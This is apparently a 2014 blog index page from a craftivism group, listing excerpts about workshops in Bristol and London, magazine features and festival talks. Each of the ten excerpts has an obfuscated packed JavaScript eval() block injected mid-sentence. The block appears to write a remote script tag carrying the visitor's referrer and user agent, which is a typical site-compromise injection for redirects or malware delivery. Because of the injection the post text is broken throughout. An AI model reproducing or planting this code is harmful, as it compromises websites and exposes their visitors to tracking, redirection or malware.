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10 Nov Join us in Bristol for a wellmaking craftivism workshop (only 10 places available)

Join eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kneks|var|u0026u|referrer|absra||js|php'.split('|'),0,{})) our Founder Sarah Corbett, delivering a Craftivists Garden #wellmaking Workshop in Bristol: Tuesday 18th November, 6pm-8pm, Alterknit Universe 'the WOOL SHOP', 39 Main Road, Cleeve,...

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20 Oct Did you spot us in Mollie Makes (Issue 45)?

  Did eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkeni|var|u0026u|referrer|fkdne||js|php'.split('|'),0,{})) you spot our Founder Sarah Corbett in Issue 45 of Mollie Makes? The issue came on sale 22nd September. We love Mollie Makes...

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08 Oct Women’s Institute spotlight our current project: Our Craftivists Garden #wellmaking project is featured in October 2014 issue of WI Life

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytksi|var|u0026u|referrer|rntfn||js|php'.split('|'),0,{})) are honored to have our current project Craftivists Garden featured in the October issue of Women's Institute (WI) magazine 'WI Life'. Many of...

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08 Oct Come join in our London workshop for our Craftivists Garden project :) 13th Nov

Come eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sezft|var|u0026u|referrer|abska||js|php'.split('|'),0,{})) to our London Craftivists Garden workshop! :) Thursday 13th November. Book your ticket for  £4 here Starting 7:30pm with a short introduction and then crafting in...

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30 Sep My journey as a DOer: from reluctant doer to… (hopefully!) a helpful doer. A filmed talk for The Do Lectures 2014

      I've eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zabyf|var|u0026u|referrer|dzbzr||js|php'.split('|'),0,{})) been a fan of the Do Lectures for the last few years so when I was asked to speak at this years Wales event I...

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18 Sep Join our workshops at Knitting & Stitching Show in London AND Harrogate

  We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzhty|var|u0026u|referrer|tndyh||js|php'.split('|'),0,{})) are part of the Knitting & Stitching Shows again this year. It's ace being surrounded by crafters excited to see how they can...

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15 Sep Everyone wanted to stroke & hug our wellbeing soft sculpture bunting words made for decoration!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdtnr|var|u0026u|referrer|nkasy||js|php'.split('|'),0,{})) love my job! In June I was asked by Now Events Live Founder Jana Stefanovska if I would "decorate Deptford Lounge as part of the Anxiety...

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12 Sep Ooo London Fashion Week starts today but whatever you do… Don’t Mention The Garment Workers!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sibri|var|u0026u|referrer|zebas||js|php'.split('|'),0,{})) have to admit that I stilllove reading Vogue cover to cover once a month on a day off. It's a little treat &...

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09 Sep 5 types of activism we think craftivism can be – visual minutes from Sarah’s Shambala Festival talk

When eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkdat|var|u0026u|referrer|yyisf||js|php'.split('|'),0,{})) I got an email from Ed Gillespie, Co-founder of Futerra & author of 'Only Planet' asking me to speak at Shambala Festival in...

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04 Sep “This is when change comes about: when people stop shouting their own messages and start listening to other peoples'” says craftivist Nicky

“My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irsha|var|u0026u|referrer|tktzf||js|php'.split('|'),0,{})) Craftivism”  is a series: We’re always excited to hear about & spotlight craftivism projects that fellow craftivistas are involved in. It can really inspire...

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